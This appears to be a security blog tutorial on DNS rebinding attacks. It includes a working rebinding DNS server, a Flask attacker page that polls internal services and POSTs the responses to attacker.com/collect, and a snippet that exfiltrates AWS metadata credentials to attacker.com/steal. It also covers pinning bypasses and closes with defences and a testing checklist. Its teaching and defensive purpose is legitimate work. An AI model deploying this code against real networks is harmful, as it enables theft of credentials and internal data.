DNS Rebinding Explained with Real Demos
DNS rebinding is a clever attack that bypasses the same-origin policy by manipulating DNS responses. It's used to attack internal services, IoT devices, and cloud metadata endpoints.
Understanding the Attack
The Same-Origin Policy
Browsers enforce the same-origin policy:
- Page from
evil.comcannot read data frominternal.company.com - Origin = scheme + host + port
- Protects against unauthorized cross-origin requests
How DNS Rebinding Bypasses This
The trick: Change what a domain name resolves to mid-session.
Timeline:
- Victim visits
attacker.com - DNS resolves
attacker.comβ1.2.3.4(attacker's server) - Attacker's page loads JavaScript
- TTL expires, DNS now resolves
attacker.comβ192.168.1.1(victim's internal IP) - JavaScript makes request to
attacker.com(now pointing internally) - Browser allows itβsame origin!
Why It Works
- Browser caches DNS (but eventually expires)
- JavaScript can make repeated requests
- Once DNS changes, "same-origin" requests go to new IP
- Attacker reads responses from internal services
Attack Scenarios
Scenario 1: Attacking Internal Services
Target: Internal admin panel at 192.168.1.1:8080
Attack Flow:
1. Victim clicks link to malicious.attacker.com
2. First DNS: malicious.attacker.com β attacker-server.com
3. Page loads with JavaScript that:
- Waits for DNS TTL to expire
- Makes XHR to malicious.attacker.com:8080
4. Second DNS: malicious.attacker.com β 192.168.1.1
5. Request goes to internal admin panel
6. Response sent to attacker
Scenario 2: Cloud Metadata Attacks
Target: AWS metadata at 169.254.169.254
// After DNS rebinding
fetch('http://malicious.attacker.com/latest/meta-data/iam/security-credentials/')
.then(r => r.text())
.then(data => {
// Exfiltrate AWS credentials
fetch('https://attacker.com/steal?data=' + encodeURIComponent(data));
});
Scenario 3: IoT Device Compromise
Target: Smart home devices, routers, printers
Many IoT devices:
- Have web interfaces on local network
- No authentication or weak authentication
- Trust requests from "local" sources
Lab Setup
DNS Server Configuration
Using dnsmasq:
# Install
sudo apt install dnsmasq
# Configure /etc/dnsmasq.conf
address=/rebind.attacker.com/1.2.3.4
Using custom Python DNS:
#!/usr/bin/env python3
# dns_server.py
from dnslib import DNSRecord, RR, A, QTYPE
from dnslib.server import DNSServer, BaseResolver
import time
class RebindingResolver(BaseResolver):
def __init__(self):
self.request_count = {}
self.first_ip = "1.2.3.4" # Attacker server
self.second_ip = "192.168.1.1" # Target
def resolve(self, request, handler):
qname = str(request.q.qname)
# Track requests per domain
self.request_count[qname] = self.request_count.get(qname, 0) + 1
reply = request.reply()
# First request: return attacker IP
# Subsequent requests: return target IP
if self.request_count[qname] <= 2:
ip = self.first_ip
else:
ip = self.second_ip
reply.add_answer(RR(qname, QTYPE.A, rdata=A(ip), ttl=1))
return reply
# Start server
resolver = RebindingResolver()
server = DNSServer(resolver, port=53, address="0.0.0.0")
server.start()
Attacker Web Server
#!/usr/bin/env python3
# attacker_server.py
from flask import Flask, render_template_string
app = Flask(__name__)
PAYLOAD_PAGE = '''
<!DOCTYPE html>
<html>
<head>
<title>Loading...</title>
</head>
<body>
<h1>Please wait...</h1>
<div id="status"></div>
<script>
const TARGET_PORT = 8080;
const POLL_INTERVAL = 1000;
const MAX_ATTEMPTS = 60;
let attempts = 0;
async function attemptRebind() {
attempts++;
document.getElementById('status').innerText =
`Attempt ${attempts}/${MAX_ATTEMPTS}`;
try {
const response = await fetch(
`http://${window.location.hostname}:${TARGET_PORT}/`,
{ mode: 'cors', credentials: 'include' }
);
const data = await response.text();
// Check if we got internal service response
if (!data.includes('Attacker Server')) {
// Success! Exfiltrate data
exfiltrateData(data);
return;
}
} catch (e) {
// Network error, might be rebinding in progress
}
if (attempts < MAX_ATTEMPTS) {
setTimeout(attemptRebind, POLL_INTERVAL);
} else {
document.getElementById('status').innerText = 'Failed';
}
}
function exfiltrateData(data) {
document.getElementById('status').innerText = 'Success!';
// Send stolen data to attacker
fetch('https://attacker.com/collect', {
method: 'POST',
body: JSON.stringify({ data: data }),
headers: { 'Content-Type': 'application/json' }
});
}
// Start attack
setTimeout(attemptRebind, 5000);
</script>
</body>
</html>
'''
@app.route('/')
def index():
return render_template_string(PAYLOAD_PAGE)
@app.route('/collect', methods=['POST'])
def collect():
# Log stolen data
print(f"Received data: {request.data}")
return "OK"
if __name__ == '__main__':
app.run(host='0.0.0.0', port=80)
Target Internal Service (For Demo)
#!/usr/bin/env python3
# internal_service.py
from flask import Flask
app = Flask(__name__)
@app.route('/')
def index():
return '''
<html>
<body>
<h1>Internal Admin Panel</h1>
<p>Super secret information here!</p>
<p>API Key: sk-secret123456</p>
</body>
</html>
'''
if __name__ == '__main__':
# Only bind to localhost
app.run(host='127.0.0.1', port=8080)
Advanced Techniques
Bypassing DNS Pinning
Modern browsers try to prevent rebinding with DNS pinning. Bypasses:
Multiple A Records:
attacker.com. 0 IN A 1.2.3.4
attacker.com. 0 IN A 192.168.1.1
Browser might use either, or alternate.
Time-Based: Use very short TTL (0 or 1 second) to force re-resolution.
Singularity of Origin:
Tool that automates DNS rebinding with multiple bypass techniques.
git clone https://github.com/nccgroup/singularity.git
cd singularity
./singularity-server -DNSRebindStrategy=roundrobin
Speeding Up the Attack
Flood DNS Cache:
// Make many requests to flush DNS cache faster
for (let i = 0; i < 1000; i++) {
fetch(`http://${Math.random()}.${window.location.hostname}/`);
}
WebSocket Rebinding: WebSockets maintain connections, but DNS is re-resolved on reconnection.
Real-World Examples
Case 1: Google Home Exploitation
Researchers demonstrated DNS rebinding against Google Home devices:
- Access local API
- Extract configuration
- Control device functions
Case 2: Router Attacks
Many consumer routers vulnerable:
- Default credentials
- Administrative interfaces on local network
- DNS rebinding provides access from internet
Case 3: Cryptocurrency Wallets
Local wallet interfaces attacked:
- APIs bound to localhost
- Assumed safe from remote access
- DNS rebinding bypasses this assumption
Detection and Prevention
For Developers
1. Validate Host Header:
from flask import Flask, request, abort
@app.before_request
def check_host():
allowed_hosts = ['localhost', '127.0.0.1', 'internal.company.com']
if request.host.split(':')[0] not in allowed_hosts:
abort(403)
2. Require Authentication: Don't assume localhost means trusted.
3. Use HTTPS with Valid Certificates: Rebinding only works with HTTP or self-signed certs.
4. Bind to Specific Interfaces:
# Instead of 0.0.0.0
app.run(host='127.0.0.1') # Only localhost
For Network Administrators
1. DNS Response Filtering: Block internal IPs from external DNS:
# In DNS firewall
Block responses containing:
- 10.0.0.0/8
- 172.16.0.0/12
- 192.168.0.0/16
- 169.254.169.254
2. Network Segmentation: Ensure IoT devices can't reach sensitive services.
3. Monitor for Suspicious DNS: Very short TTLs are suspicious.
Browser Protections
Modern browsers implement:
- DNS pinning (cache longer than TTL)
- Private network access restrictions (in progress)
- Connection coalescing
But bypasses exist for many protections.
Testing Checklist
When assessing for DNS rebinding:
- Internal services binding to 0.0.0.0?
- Host header validation implemented?
- Authentication required even for "local" access?
- HTTPS enforced?
- DNS filtering in place?
- Network segmentation effective?
Tools
Singularity: Complete DNS rebinding attack platform Rebinder: Simple DNS rebinding tool Custom Scripts: As shown in this article
Need help assessing your DNS rebinding exposure? Contact us: m1k3@msquarellc.net